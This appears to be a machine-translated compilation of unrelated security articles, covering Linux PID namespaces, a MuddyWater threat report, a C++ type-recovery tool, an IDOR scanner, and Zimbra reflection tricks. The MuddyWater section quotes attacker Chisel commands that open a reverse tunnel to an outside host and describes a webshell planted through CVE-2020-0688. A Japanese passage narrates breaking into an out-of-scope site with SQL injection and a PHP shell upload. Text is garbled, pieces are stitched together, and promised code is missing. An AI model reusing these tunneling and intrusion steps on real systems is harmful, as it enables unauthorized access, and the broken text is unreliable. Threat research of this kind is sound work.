以外的進程通過在子樹的頂部移動來將自己視為根進程,從而在該子樹中獲得PID=1。同一子樹中的所有進程也將獲得與進程命名空間(namespaces)相關的ID。這也意味著某些進程可能最終擁有多個ID,具體取決於它們所在進程命名空間(namespaces)的數量。然而,在每個命名空間(namespaces)中,至多一個進程可以擁有一個給定的PID(進程樹中節點的唯一值)成為每個命名空間(namespaces)的屬性)。這是因為根進程命名空間(namespaces)中的進程之間的關係保持不變。或者換句話說,新PID 命名空間(namespaces)中的進程仍然附加到其父級,因此是其父級PID 命名空間(namespaces)的一部分。所有進程之間的這些關係可以在根進程命名空間(namespaces)中看到,但在嵌套進程命名空間(namespaces)中它們是不可見的。這意味著嵌套進程命名空間(namespaces)中的進程不能與其父進程或上層進程命名空間(namespaces)中的任何其他進程交互。這是因為,在新的PID 命名空間(namespaces)的頂部,進程將其PID 視為1,並且在PID=1 的進程之前沒有其他進程。 在Linux 內核中,PID 表示為一個結構。在內部,我們還可以找到進程所屬的命名空間(namespaces)作為upid struct數組的一部分。 structupid{ intnr;/*thepidvalue*/ structpid_namespace*ns;/*thenamespacethisvalue *isvisiblein*/ structhlist_nodepid_chain;/*hashchainforfastersearchofPIDSinthegivennamespace*/ }; structpid{ atomic_tcount;/*referencecounter*/ structhlist_headtasks[PIDTYPE_MAX];/*listsoftasks*/ structrcu_headrcu; intlevel;//numberofupids structupidnumbers[0];//arrayofpidnamespaces };要在新的PID 命名空間(namespaces)內創建新進程,必須使用特殊標誌CLONE_NEWPID調用clone()系統調用。而下面討論的其他命名空間(namespaces)也可以使用unshare()系統調用創建,PID 命名空間(namespaces)只能在使用clone()或fork()系統調用產生新進程時創建。 #Let'sstartaprocessinanewpidnamespace; cryptonite@cryptonite:~$sudounshare--pid/bin/bash bash:fork:Cannotallocatememory[1] root@cryptonite:/home/cryptonite#ls bash:fork:Cannotallocatememory[1]shell卡在兩個命名空間(namespaces)之間。這是因為unshare在執行後沒有進入新的命名空間(namespaces)(execve()調用)。當前的“unshare”進程調用了unshare系統調用,創建了一個新的pid命名空間(namespaces),但是當前的“unshare”進程不在新的pid命名空間(namespaces)中。進程B創建了一個新的命名空間(namespaces),但進程B本身不會被放入新的命名空間(namespaces),只有進程B的子進程才會被放入新的命名空間(namespaces)。創建命名空間(namespaces)後,`unshare程序將執行/bin/bash。然後/bin/bash將分叉幾個新的子進程來做一些工作。這些子進程將有一個相對於新命名空間(namespaces)的PID,當這些進程完成時,它們將退出,退出命名空間(namespaces)但是PID沒有置1。 Linux 內核不喜歡沒有PID=1 進程的PID 命名空間(namespaces)。因此,當命名空間(namespaces)為空時,內核將禁用與該命名空間(namespaces)內的PID 分配相關的一些機制,從而導致此錯誤。 我們必須指示unshare程序在創建命名空間(namespaces)後派生一個新進程。然後這個新進程將設置PID=1 並將執行我們的shell 程序。這樣當/bin/bash的子進程退出時,命名空間(namespaces)仍然會有一個PID=1 的進程。 cryptonite@cryptonite:~$sudounshare--pid--fork/bin/bash root@cryptonite:/home/cryptonite#echo$$ 1 root@cryptonite:/home/cryptonite#ps PIDTTYTIMECMD 7239pts/000:00:00sudo 7240pts/000:00:00unshare 7241pts/000:00:00bash 7250pts/000:00:00ps但是當我們使用ps時,為什麼我們的shell 沒有PID 1呢?為什麼我們仍然可以從根命名空間(namespaces)看到進程?該PS程序使用的procfs虛擬文件系統,以獲取有關係統中的電流進程的信息。該文件系統安裝在/proc 目錄中。但是,在新命名空間(namespaces)中,該掛載點描述了root PID 命名空間(namespaces)中的進程。有兩種方法可以避免這種情況: #creatinganewmountnamespaceandmountinganewprocfsinside cryptonite@cryptonite:~$sudounshare--pid--fork--mount/bin/bash root@cryptonite:/home/cryptonite#mount-tprocproc/proc root@cryptonite:/home/cryptonite#ps PIDTTYTIMECMD 1pts/200:00:00bash 9pts/200:00:00ps #Orusetheunsharewrapperwiththe--mount-procflag #whichdoesthesame cryptonite@cryptonite:~$sudounshare--fork--pid--mount-proc/bin/bash root@cryptonite:/home/cryptonite#ps PIDTTYTIMECMD 1pts/100:00:00bash 8pts/100:00:00ps正如我們之前提到的,一個進程可以有多個ID,這取決於該進程所在的命名空間(namespaces)的數量。現在檢查嵌套在兩個命名空間(namespaces)中的shell 的不同PID。 ╭cryptonite@cryptonite:~$sudounshare--fork--pid--mount-proc/bin/bash #thisprocesshasPID4700intherootPIDnamespace root@cryptonite:/home/cryptonite#unshare--fork--pid--mount-proc/bin/bash root@cryptonite:/home/cryptonite#ps PIDTTYTIMECMD 1pts/100:00:00bash 8pts/100:00:00ps #Let'sinspectthedifferentPIDs cryptonite@cryptonite:~$sudonsenter--target4700--pid--mount cryptonite#ps-aux USERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMAND root10.00.0184764000pts/0S
  4. MuddyWater 通常被認為是由伊朗政府支持的攻擊者,根據目前最新的分析,美國網絡司令部已將此活動歸咎於伊朗情報部(MOIS)。最近,美國網絡司令部指出MuddyWater 使用了多個惡意軟件集。其中,PowGoop 與我們在最近事件中分類的活動相關。 分析新PowGoop 變種PowGoop 是Palo Alto 首次發現的惡意軟件家族,它利用DLL 搜索命令劫持(T1574.001)。該名稱源自使用“GoogleUpdate.exe”來加載“goopdate.dll”的惡意修改版本,該版本用於從外部文件加載惡意PowerShell 腳本。 我們發現了涉及重大變化的更新版本的PowGoop加載器,這表明即使在最近的曝光後,該組織仍在繼續使用和維護它。這些新變種顯示,該攻擊組織已經擴大了其用於裝載惡意dll的合法軟件的武器庫。除了“GoogleUpdate.exe”之外,還有三個良性軟件被濫用,以輔助加載惡意dll:“Git.exe”、“FileSyncConfig.exe”和“inno_update .exe”。 每個DLL包含一個修改後的DLL和一個重命名的真實DLL。被劫持的DLL包含源自重命名後的對應DLL的導入,以及攻擊者編寫的兩個附加函數。被劫持的dll列表如下: 與以前的版本不同,被劫持的DLL 嘗試反射式加載兩個附加文件,一個名為“Core.dat”,它是從導出“DllReg”調用的shellcode,另一個名為“Dore.dat”,它是一個PE 文件,帶有一個“MZRE”標頭,允許它作為shellcode 執行,類似於從導出“DllRege”調用的公開報告的技術。 這兩個' .dat '文件對於每個被劫持的dll都是相同的,並且都是在各自的導出上使用rundll32執行的,這會將文件從磁盤讀取到虛擬分配的緩衝區,然後調用讀取數據中的偏移量0。 “Dore.dat”和“Core.dat”搜索名為“config.txt”的文件,並使用PowerShell以類似於舊版本(T1059.001)的方式運行它。這兩個組件在功能上的重疊並不清楚;然而,很明顯,“Core.dat”代表了PowGoop 更成熟和進化的版本,因為它作為shellcode 加載,使其不太可能被靜態檢測到。 還值得注意的是,兩個組件都沒有必要駐留在受感染的系統上,因為惡意軟件可以通過其中任何一個成功執行。鑑於此,有可能將其中一個或另一個用作備份組件。在撰寫本文時,無法檢索到“config.txt”中的PowerShell 有效負載。 新的PowGoop變體的執行流程 MuddyWater隧道活動MuddyWater活動背後的操作人員非常喜歡隧道工具,該組織使用的自定義工具通常功能有限,用於放棄隧道工具,使操作者能夠進行更廣泛的活動。 MuddyWater的攻擊者使用的隧道工具有Chisel、SSF和Ligolo。 隧道活動的性質常常令人困惑,下面是攻擊者對一些受害者執行的命令,有助於澄清他們對此類工具的使用情況: SharpChisel.execlientxx.xx.xx.xx:8080r:8888:127.0.0.1:9999在客戶端執行中使用的“r”標誌意味著服務器在“反向”模式下運行。根據Chisel的文檔, 設置--reverse 標誌,“允許客戶端在正常遠程之外指定反向端口轉發遠程”。 在這種情況下,“SharpChisel.exe”客戶端在受害者設備上運行,通過端口8080 連接回Chisel 服務器,並指定將來自服務器端口8888 的任何內容轉發到客戶端的端口9999。 這乍一看可能有點奇怪,因為在Windows設備上通常不使用端口9999,而且沒有綁定到任何特定的服務。這是在隨後的反向隧道設置一個Chisel SOCKS5服務器受害者,等待傳入連接端口9999: SharpChisel.exeserver-p9999--socks5通過在設備上設置Chisel的服務器和客戶端實例,操作人員使自己能夠通過SOCKS5支持的各種協議。這實際上在隧道內創建了一個隧道。鑑於此,運營商很可能會通過端口8888 向服務器發起SOCKS 流量,從而將流量從感興趣的應用程序傳輸到網絡內部。 Chisel和其他隧道工具的使用有效地使攻擊行動者能夠連接到目標環境中的設備,就好像它們在運營商LAN 中一樣。 使用Chisel 進行MuddyWater 隧道挖掘 攻擊利用在跟踪MuddyWater的活動時,我們發現了一個針對知名組織Exchange服務器的有趣的活動子集。 Exchange漏洞利用活動的這個子集相當有趣,因為如果沒有上下文,很難將其歸因於MuddyWater,因為該活動幾乎完全依賴於公開可用的攻擊性安全工具。 攻擊者試圖使用兩種不同的工具來利用Exchange服務器: 用於利用CVE-2020-0688 (T1190)的公開腳本; 一個開源的Exchange開發框架; CVE-2020-0688 漏洞利用對所觀察到的活動的分析表明,MuddyWater攻擊組織試圖利用CVE-2020-0688攻擊中東的政府組織。該漏洞允許通過身份驗證的用戶執行遠程代碼。 MuddyWater 操作員試圖運行的特定漏洞被用來刪除webshell。 使用PowerShell命令將webshell內容寫入到特定的路徑“/ecp/HybridLogout.aspx”。 webshell等待參數“cmd”,並使用XSL腳本處理(T1220)在其中運行命令。 webshell MuddyWater的一個片段試圖上傳到Exchange服務器 此活動與來自名為fuckchina_v2.py 的Github 存儲庫中的CVE-2020-0688 漏洞利用腳本高度相關。該腳本利用CVE-2020-0688 將ASPX webshell 上傳到路徑:“/ecp/HybridLogout.aspx” (T1505.003)。它也是唯一可公開獲得的CVE-2020-0688 實現之一,它會刪除Web shell。 CVE-2020-0688 漏洞利用腳本片段 總結對MuddyWater活動的分析表明,該組織在繼續發展和調整他們的技術。儘管該組織仍然依賴於公開可用的攻擊性安全工具,但它已經改進了自定義工具集,並利用新技術來避免被發現。這可以通過本報告中觀察和分析的三個不同的活動來觀察到:PowGoop惡意軟件家族的演變、隧道工具的使用以及針對Exchange服務器的攻擊。
  5. 你有沒有想過編譯器如何查看你的數據結構? Compiler Explorer 可以幫助你了解源代碼和設備代碼之間的關係,但它在數據佈局方面提供的支持不多。你可能聽說過填充、對齊和“普通舊數據類型”,甚至通過將一種結構嵌入到另一種結構中來模擬C 中的繼承。但是,你能猜出所有這些類型的確切內存佈局,而無需查看你平台的ABI 引用或標準庫的源代碼嗎? 有了必要的ABI 知識,關於C 結構的推理就相對簡單了。然而,更複雜的c++類型則是完全不同的情況,特別是當使用模板和繼承時。理想情況下,我們能夠將所有這些複雜的類型轉換成簡單的C結構,這樣我們就可以更容易地推斷它們在內存中的佈局。這正是relic -headergen的目的,這是我在Trail of Bits實習期間開發的一個工具。在這篇文章中,我將解釋它的工作原理。 rellic-headergenrellic-headergen的目的是生成C類型定義,這些定義等價於包含在LLVM位碼文件中的那些定義,這些定義不一定是從C源代碼生成的。這有助於分析包含複雜數據佈局的程序的過程。下圖提供了rellic-headergen 功能的示例。 左側窗口顯示我們的源代碼,我們在底部窗口中執行第一個命令將代碼編譯為LLVM位碼,然後使用第二個命令通過rellich headergen運行它。右邊的窗口顯示rellic-headergen的輸出,它是與輸入c++代碼的佈局匹配的有效C代碼。 該工具的工作原理是假設被分析的程序可以被編譯成具有完整調試信息的LLVM位碼。該實用程序開始構建一個包含調試信息可用的所有類型的列表,從函數(“subprogram”)定義開始。 現在,該實用程序需要決定定義類型的順序,但考慮到C 語言的要求,這不是一項簡單的任務:當引用尚未定義的類型時,該語言需要明確前置聲明,例如,結構不能包含其類型僅被前向聲明的字段。 解決這個問題的一種方法是預防性地前置前聲明所有當前的類型。然而,這是不夠的。例如,結構不能包含類型尚未完全定義的字段,儘管它可以包含類型是指向正向聲明類型的指針的字段。 因此,該實用程序根據類型定義形成一個有向無環圖(DAG),它可以在其上找到拓撲排序。 一旦該實用程序找到了一個拓撲排序,它就可以按照這個順序檢查類型,並且確信任何字段的類型都已完全被定義。 關於結構的惡作劇DWARF 元數據提供了一些信息,我們可以使用它來恢復它描述的類型的C 結構定義: 類型的大小; 每個字段的類型; 每個字段的偏移量; 類型最初是結構體還是聯合體; rellic-headergen 的重建算法首先按照偏移量遞增的順序對字段進行排序,然後定義一個新的結構來添加每個字段。元數據沒有提供關於原始定義是否被聲明為打包的信息,因此rellic-headergen 首先嘗試直接生成佈局,如元數據指定的那樣。如果生成的佈局與作為輸入的佈局不匹配,該實用程序將從頭開始並生成一個打包佈局,並根據需要手動插入填充。 現在,我們可以使用任意數量的複雜啟發式方法來確定每個字段從結構開始的偏移量,但事情可能會變得非常棘手,尤其是在位字段的情況下。更好的方法是從已經制定出邏輯的東西中獲取這些信息:編譯器。 幸運的是,rellic-headergen已經使用Clang來生成定義。不幸的是,查詢Clang本身關於字段的偏移量並不是那麼簡單,因為Clang只允許檢索完整定義的佈局信息。為了解決API的這個特殊問題,實用程序生成臨時結構定義,其中包含當前正在處理的字段之前的所有字段。 結構和繼承當我在處理更多涉及的用例時,我偶然發現了一些ABI 以不立即顯而易見的方式工作的實例。例如,處理C++ 繼承需要小心,因為簡單的方法並不總是正確的。 轉換成 這似乎是個好主意,在實踐中也很有效,但這種方法的可擴展性不太好。例如,以下代碼段不能以這種方式轉換: 原因是在int 為4 個字符寬的設備上,結構A 通常在y 之後包含3 個額外的填充字符。因此,將結構A 直接嵌入B 將使z 位於偏移量8 處。為了最大限度地減少結構中的填充量,編譯器選擇將派生類型的字段直接放置在基本結構中。 此外,從技術上講,空結構在C 中無效。它們可以通過GCC 和Clang 擴展使用,並且在C++ 中有效,但它們存在一個問題:空結構的sizeof 永遠不會為0。相反,它通常為1。除了其他原因,這是為了在像下面這樣的代碼片段中,每個字段都保證有單獨的地址: 上面的例子工作得很好,但是在有些地方,用簡單的方法處理空結構是行不通的。考慮如下: 此示例生成以下DWARF 元數據: 如果我們遵循dw_tag_繼承和DW_TAG_member相同的邏輯,就會得到這樣的轉換: 這和原來的定義不一樣!字段b最終的偏移量與0不同,因為字段的大小不能為0。讓所有這些c++細節工作是有挑戰性的,但非常值得。現在我們可以使用rellic-headergen將任意c++類型轉換為普通的C類型。許多逆向工程工具嵌入了某種形式的基本C解析支持,以便用戶提供“類型庫”,描述設備代碼使用的類型。這些基本的解析器通常不支持任何c++,所以rellic-headergen彌補了這一缺陷。 relic -headergen的改進空間?rellic-headergen還有進一步改進的機會,該實用程序的目標之一是能夠從已優化的代碼中恢復字段訪問模式。考慮以下程序: 該程序產生以下位碼: 在這個位碼中,關於x結構的原始信息已經丟失了。本質上,如果Clang/LLVM在發出位碼或從已編譯的設備碼中提升位碼之前執行優化,這可能會導致生成的位碼級別過低,從而在調試元數據中找到的類型信息與位碼本身中的信息不匹配。在這種情況下,relic -headergen無法自行解決這種不匹配。改進實用程序以便能夠在未來解決這些問題將是有益的,當嘗試將位移位和掩碼與字段訪問匹配以生成盡可能接近原始代碼的反編譯代碼時,了解結構的確切佈局可能很有用。 此外,rellic-headergen 也無法處理使用不同DWARF 功能的語言。例如,Rust 對有區別的聯合使用了一種特別的表示,這對於實用程序來說很難處理。有朝一日可以向該實用程序添加功能來處理這些DWARF 功能。 總結儘管rellic-headergen 目前的範圍非常狹窄,但在使用C 和C++ 代碼庫時它已經非常強大,因為它能夠提取rellic 本身的類型信息,包括LLVM 和Clang。在導航使用調試信息構建的二進製文件時,它已經提供了有用的見解,但是擴展其功能集以能夠從更多不同的代碼庫中提取信息將使其在處理更大的項目時更加有用。
  6. 概述通过替换认证信息后重放请求,并对比数据包结果,判断接口是否存在越权漏洞 特点 支持HTTPS自动过滤图片/js/css/html页面等静态内容多线程检测,避免阻塞支持输出报表与完整的URL、请求、响应安装和使用 安装依赖 git clone https://github.com/y1nglamore/IDOR_detect_tool.git启动 即可监听socks5://127.0.0.1:8889。 安装证书 使用SwitchOmega等插件连接该代理,并访问mitm.it即可进入证书安装页面,根据操作系统进行证书安装。 以MacOS为例: 下载安装后,打开钥匙串访问,找到mitmproxy证书,修改为alwaystrust 检测漏洞 首先准备好目标系统的A、B两账号,根据系统的鉴权逻辑(Cookie、header、参数等)将A账号信息配置config/config.yml,之后登录B账号 使用B账号访问,脚本会自动替换鉴权信息并重放,根据响应结果判断是否存在越权漏洞 生成报表 每次有新漏洞都会自动添加到report/result.html中,通过浏览器打开: 点击具体条目可以展开/折叠对应的请求和响应: 检测逻辑 原文连接:https://github.com/y1nglamore/IDOR_detect_tool
  7. 0x01はじめに 違反と防衛の訓練の情報収集中、与えられたウェブサイトと資産のウェブサイトは同じIPセグメントであることがわかったため、違法サイトの浸透がありました。 辞書およびその他のリソースファイルは、最後に取得できます 0x02 SQL脆弱性発見 サイトにアクセスしてください プラグインを使用して、サイトをPHPとして表示します 通常のディレクトリスキャン フロントデスク ワンクリックでログインした後、新しい住所に注入があったことがわかりました 0x03さらなる搾取 ここでは、パラメーターを取得する必要があると促されます。 address.phpリクエストで乱数リクエストを記入した後、情報を入力してパケットをつかんでSQLMAPを実行し続けます 長い間待った後、ブールブラインドとエラー注入があることがわかりました。 次に、サイトバックエンド管理アドレスを見つけます 注入されたアカウントパスワードを使用して背景にログインします 0x04ファイルをアップロード アップロードポイントを探しています アップロード アクセスパス PHPを直接アップロードして持ち上げます これまでのところ、私はこのサイトを取り、シンプルで効率的な方法でそれを取り上げました!
  8. 本章將詳細介紹外部、DMZ、內部和關鍵資產的入網點的初始演練視角。初始視角是攻擊性安全評估的出發點,評估人員從此開始與目標系統進行交互,然後進行枚舉和漏洞利用。每種視角都會通過其在組織中評估和利用漏洞的能力進行對比。然後,根據攻擊面審查的效率和方式對這些視角進行比較。另外,文本還概述了每種視角的優缺點。在本章末尾,你就能了解不同的演練初始化點如何影響攻擊性安全評估,並了解CAPTR 團隊使用的關鍵資產視角是值得甚至是必要的。重要的是要注意,攻擊性安全評估是一個人工進行的過程,除了技術漏洞識別和利用工具外,還涉及情報和技能。初始視角幾乎影響手動攻擊性安全評估的所有方面,下面的分析將演示如何從不同的初始視角進行演練。下圖說明了演練中不同的初始視角。 外部初始演練視角外部演練視角是安全評估最傳統的出發點。外部演練初始視角通常從基於互聯網的入口開始,並將重點放在組織安全的外圍,如下圖所示。 DMZ 初始演練視角從DMZ的視角評估網絡需要從DMZ本身作為開始進行評估,重點不僅是從側面攻擊面向互聯網的服務器,而且還要評估從DMZ內部攻擊組織內部的能力。該視角評估的重點是確定對惡意攻擊者在DMZ內從一個DMZ託管的面向互聯網的設備轉移到另一個設備的能力以及攻擊者從DMZ移動到內部網絡的能力進行安全評估,如下圖所示。 內部初始演練視角內部視角使用網絡本身作為出發點。此視角通常通過網絡中機器上的用戶上下文來開展。在這個演練視角中,評估的重點是確定在該內部網絡中定位跳板機器和提升權限的能力,如下圖所示。 關鍵資產初始演練視角CAPTR 團隊從對組織構成最大風險的一個或多個存在點開始使用關鍵觀點。從這個視角進行評估的重點是識別此類設備的本地漏洞,這些漏洞可能使攻擊者入侵關鍵資產。然後,可以將評估擴展到組織中允許攻擊者轉向關鍵資產的點,並繼續向外擴展。第四種視角旨在緩解組織內網遭到破壞行為的影響,而不管允許攻擊者進入的漏洞或內部威脅的位置是否會影響這種評估視角。以入侵為目標開始安全評估,而不是評估潛在的起點,可以增強抵禦各種威脅的能力。該視角不同於內部初始視角,因為該視角是從CAPTR團隊範圍內確定的致命或關鍵資產點作為開始,而不僅僅是組織內的非特定特權或非特權訪問,如下圖所示。 對風險評估的影響為了比較和對比安全評估的四種不同初始視角,我接下來將對風險進行定量分析。影響面是衡量不同攻擊對象的破壞程度的指標。評級風險的另一部分是它發生的可能性。時間度量用於顯示可能性,它表示所花費的時間量,從給定的角度評估產生不同影響的信息折衷所需的時間。此評估還表明攻擊者可能也會這樣做。為了確定這些評估視角可能導致的結果的影響,我將影響分為四個級別,數字越高,表明該級別的設備如果受到攻擊,對組織的影響越大(見下圖)。 0級項目的影響可以忽略不計;3級項目對組織的存在和功能是致命的。為了確定每個視角可能識別的信息類型,我在下圖中創建了一個大圖,顯示了網絡的哪些部分可能在黑匣子中包含哪些級別的數據保護分類。 如前所述,可能性表示為從給定視角進行評估以確定具有給定影響面的結果所需的時間。例如,如果一個評估視角幾乎能夠立即找到具有給定保護級別的數據,那麼使用的視角很可能會評估該影響級別的風險。如果某個視角是需要花費時間並且通過跳板來訪問到不同的數據保護級別,則可能性很低。 重要的是要理解,評估過程中時間的流逝也可能會改變評估視角。評估可以從網絡的外部初始視角開始,然後通過漏洞利用,訪問DMZ中的設備。從這一點開始,評估就是多個攻擊角度的表示。隨著評估進一步深入網絡,該過程將繼續進行。所涉及的定義增量是時間、過渡視角和可能性。 對風險評估的影響:外部視角外部初始評估視角側重於網絡的外圍,只有在識別並利用組織最外層的漏洞後,才能轉移到組織的其他部分。因此,在評估的早期,很可能只有0級和1級相關的結果。時間可能允許演練通過深入網絡來破壞更高級別的數據;但是,因為這需要更長的測試時間,所以可能性被認為很低。下圖顯示了隨著評估時間的持續,這種視角的變化。 由於外部視角與網絡中的3級數據相距甚遠,因此到達這一點所需的時間較長,因此不太可能。儘管0級信息的影響很小,但幾乎可以肯定的是,這種可能性會產生與從這個視角發現的結果相關的中等風險。此視角不太可能產生更高級別的數據,因為它需要時間來發現其他漏洞,從而使該演練視角能夠深入組織。可能被評估的風險水平為低至中等。 對風險評估的影響:DMZ視角DMZ視角相對於外部視角具有優勢,因為它從組織的DMZ內已經存在的一個點開始,並且不必發現允許其從外網轉到DMZ的漏洞(見下圖)。 由於從這一角度進行評估不需要時間從外部角度進行內部分析,因此與高級別數據保護相關的發現更有可能,因為識別這些發現所需的時間較少,從而增加了發現有影響的威脅的可能性。 DMZ視角在評估中等風險水平方面具有最大潛力。 對風險評估的影響:內部視角從網絡中間存在點的初始視角來看,評估更有可能在1級和2級數據早期發現結果。與前面討論的兩種視角相比,這種視角還有一個副作用,即使用這種初始視角進行評估,實際上不太可能發現導致0級信息的發現。與前兩個視角一樣,從內部初始視角到能夠入侵3級數據的軸心需要時間。 下圖顯示,與0級數據一樣,從這一初始視角進行評估,要得出關於3級數據的調查結果,仍然需要時間。因此,最有可能找到風險等級1和2的數據。因為從這個視角來看,很快發現的漏洞不太可能破壞3級數據,所以它仍然不能代表對最高風險級別的有效評估。然而,內部視角顯然代表了大的潛在風險截面。 對風險評估的影響:關鍵視角使用關鍵初始視角的評估從網絡最有價值的地方開始。這意味著,與其他三個角度不同,3級數據被攻擊的結果在評估開始時確定。不幸的是,使用視角需要時間才能到達網絡中包含0到2級數據的點(見下圖)。 使用此視角可降低在評估期間發現1級和2級數據的可能性,且評估不太可能遇到0級數據的發現。關於一個組織的總體評估效率,這種初始視角在涵蓋所有風險級別時可能是最不有效的。它在查找級別3數據時非常有效,因為它從承載此類信息的設備開始。因此,這種評估視角更有可能發現導致3級數據被攻擊外洩的漏洞,因此,代表了評估組織面臨的最極端風險水平的能力。 對攻擊面覆蓋的影響下一步要在初始視角之間進行比較的是每個視角在評估期間審查攻擊面的能力。這是證明安全評估有效性的一個極其重要的屬性。儘管評估可能不會產生涵蓋極有價值的風險敞口的結果,但如果能夠評估組織的大部分攻擊面,評估仍然可能有效。攻擊面是能夠影響給定目標的任何實體或資產。安全評估的責任是通過評估漏洞來覆蓋攻擊面。但是,不能平等對待所有攻擊面,因為整個攻擊面的不同部分代表了對不同級別數據的潛在即時訪問。 例如,有一個更廣泛的攻擊面,由面向外網的面表示,因為它們受到的攻擊和枚舉嘗試次數要多得多。然而,正如已經顯示的那樣,允許訪問面向外網的服務器的漏洞最初可能並不一定會削弱組織。對每個初始視角如何影響攻擊面分析方式的剖析進一步說明了每個初始視角作為有效安全評估視角的情況,並展示了它們如何共同構成組織充分網絡安全評估的必要部分。 攻擊面覆蓋:外部視角組織中面向互聯網的部分是最容易暴露的,並且可以被最多的用戶和攻擊者訪問。因此,網絡的面向互聯網的層可以被歸類為具有最多的攻擊面。這裡存在的漏洞如果被利用,可能不會導致最嚴重的後果,但這是最有可能被發現的地方。大多數現代組織不得不承認,為互聯網用戶提供服務的本質增加了他們的風險。安全評估的外部視角為評估該攻擊面提供了最直接的方法,如下圖所示。 外部視角攻擊面評估 外部視角允許覆蓋組織的大片攻擊面。但是,如果在測試期間進行評估,那麼在評估深入到網絡之前還有一段時間。下圖顯示了評估的攻擊面(紅色部分),以及評估如何隨著時間推移過渡到攻擊面更深的部分。初始化時,第一個攻擊面金字塔(如下圖左側)顯示外部視角如何僅看到組織的外部攻擊面。中間金字塔表示從外部角度評估的中間部分,以及它將如何達到評估組織內部更深層次攻擊面的能力。右邊的金字塔顯示了評估的結束,以及它是如何檢查組織深層攻擊面的一部分,但不是全部。 攻擊面覆蓋:DMZ 視角在DMZ中開始評估消除了對漏洞的需要,從而使得評估人員繞過面向互聯網的防禦。因此,從這一視角進行的評估能夠更直接地評估DMZ中的其他設備,並通過橫向枚舉確定其脆弱性(見下圖)。 如上圖所示,DMZ演練視角在能夠開始評估DMZ中的設備之前不需要時間。它還能夠以比外部視角更快的方式開始探測內部網絡,因為外部視角是組織攻擊面的主體,在繼續之前必須首先解決。然而,這一評估視角面臨的一個潛在障礙是,它可能無法識別基於互聯網的掃描和攻擊存在的漏洞,因為DMZ中的設備應該與互聯網通信,而不是相互通信。 攻擊面覆蓋:內部視角內部視角承擔了內部威脅的責任,因此可以從網絡的更深層次入手,接觸到更多的攻擊面。這也意味著,與DMZ視角一樣,評估一個組織面對互聯網的威脅向量的能力並不容易實現,事實上,在這種情況下可能相當耗時(見下圖)。 內部視角攻擊面評估 內部演練視角的好處是,在直接環境中分析的攻擊面可能會導致漏洞的發現,這些漏洞可能會危害組織無意公開的數據。這與外部和DMZ評估觀點相反,外部和DMZ演練視角可能會在更大、更易訪問互聯網的攻擊面上發現許多意義不大的漏洞。 攻擊面覆蓋:關鍵視角關鍵視角分析了迄今為止一個組織最少的攻擊面。它與外部視角截然相反,外部視角在開始的時候就聚焦於一個非常大的面;關鍵視角關注的是優先部分。從這一點來看,假設從這個視角開始的評估能夠在任何合理的時間範圍內評估面向互聯網的服務是不現實的。該視角旨在提供與影響較大的對象相關的最危險攻擊面的最有效分析(見下圖) 關鍵視角攻擊面評估 關鍵視角評估接近組織攻擊面的不同部分的方式也與其他三個視角不同。例如,當IT部門在一個組織面向互聯網的周邊發現盡可能多的漏洞時,可以通過外部演練視角獲得最大的價值。這可能意味著評估人員不會利用已識別的漏洞深入組織,直到他們認為已對整個外部網絡進行了評估。這種嘗試的完整攻擊面覆蓋是其他評估視角的必要組成部分。關鍵資產視角不需要完全評估下一層。相反,關鍵視角將重點放在攻擊者如何將數據或機器轉移到無法接受的損失上。它不是尋找攻擊面上的所有漏洞,而是將重點放在那些使訪問能夠轉向致命和關鍵的風險項的點上。 全系列文章請查看:https://www.4hou.com/member/dwVJ
  9. 0x00 前言在上篇文章《Zimbra漏洞调试环境搭建》 提到了通過反射枚舉JspServletWrapper實例的實現,本文將要以此為例,詳細介紹實現的思路和細節,便於以此類推,實現其他功能。 0x01 簡介本文將要介紹以下內容: ◼反射中的常用操作 ◼獲得類的所有字段 ◼獲得類的所有方法 ◼調用類的方法 ◼枚舉JspServletWrapper實例的實現細節 0x02 反射中的常用操作1.獲得類的所有字段getField(): 能夠獲取本類以及父類中的public字段 getDeclaredField(): 能夠獲取本類中的所有字段 這里以Zimbra環境為例,給出示例代碼 (1)獲取request對象的所有字段 (2)獲取request對象的父類的所有字段 2.獲得類的所有方法getMethods(): 能夠獲取本類以及父類或者父接口中的公共方法(public修飾符修飾的) getDeclaredMethods(): 能夠獲取本類中的所有方法,包括private、protected、默認以及public的方法 這里以Zimbra環境為例,給出示例代碼 (1)獲取request對象的所有方法 (2)獲取request對象的父類的所有方法 3.調用類的指定方法這里以Zimbra環境為例,給出示例代碼 搭建好Zimbra漏洞調試環境後,定位request對象的getHeader(String name)方法,代碼細節如下: 對照代碼細節,參數類型為String 調用request對象的getHeader(String name)方法,參數為'User-Agent',實現代碼如下: 0x03 枚舉JspServletWrapper實例的實現細節1.下斷點選擇文件servlet-api-3.1.jar,依次選中javax.servlet-http-HttpServlet.class,在合適的位置下斷點,當運行到斷點時,可以查看request對象的完整結構,如下圖 查看request對象的結構,我們最終定位到了JspServletWrapper實例的位置,直觀的映射為:request-_scope-_servlet-rctxt-jsps 接下來,我們需要按照這個映射,通過多次反射最終獲得JspServletWrapper實例 (1)讀取request對象的所有字段 在回顯的結果中能夠找到_scope (2)從request對象獲得_scope實例並再次枚舉字段 在回顯的結果中能夠找到_servlet (3)獲得_servlet實例並再次枚舉字段 回顯的結果為:serialVersionUID 這裡沒有rctxt字段 嘗試尋找原因:開啟調試器,定位至關鍵位置,如下圖 從圖中可以看到,_servlet的類為JettyJspServlet JettyJspServlet繼承自JspServlet,成員變量只有serialVersionUID,這與我們通過訪問jsp頁面得到的結果一致 查看JspServlet的相關實現代碼,如下圖 從圖中可以看到,rctxt為JspServlet的成員變量,屬性為private,所以子類JettyJspServlet無法繼承成員變量rctxt 這裡我們可以直接選取_servlet實例的父類進行枚舉字段 (4)選取_servlet實例的父類進行枚舉字段 在回顯的結果中能夠找到jsps (5)獲得jsps實例並枚舉字段 開啟調試器,查看jsps的類型,如下圖 從圖中可以看到,jsps的類為ConcurrentHashMap,這裡只需要枚舉出所有Key即可 添加需要導入的包後,得出最終實現代碼: 補充:刪除指定JspServletWrapper的實例 只需要調用ConcurrentHashMap的remove方法即可 示例代碼: 0x04 小結本文介紹了通過反射枚舉JspServletWrapper實例的具體實現,記錄思路和細節,便於以此類推,修改其他內容。
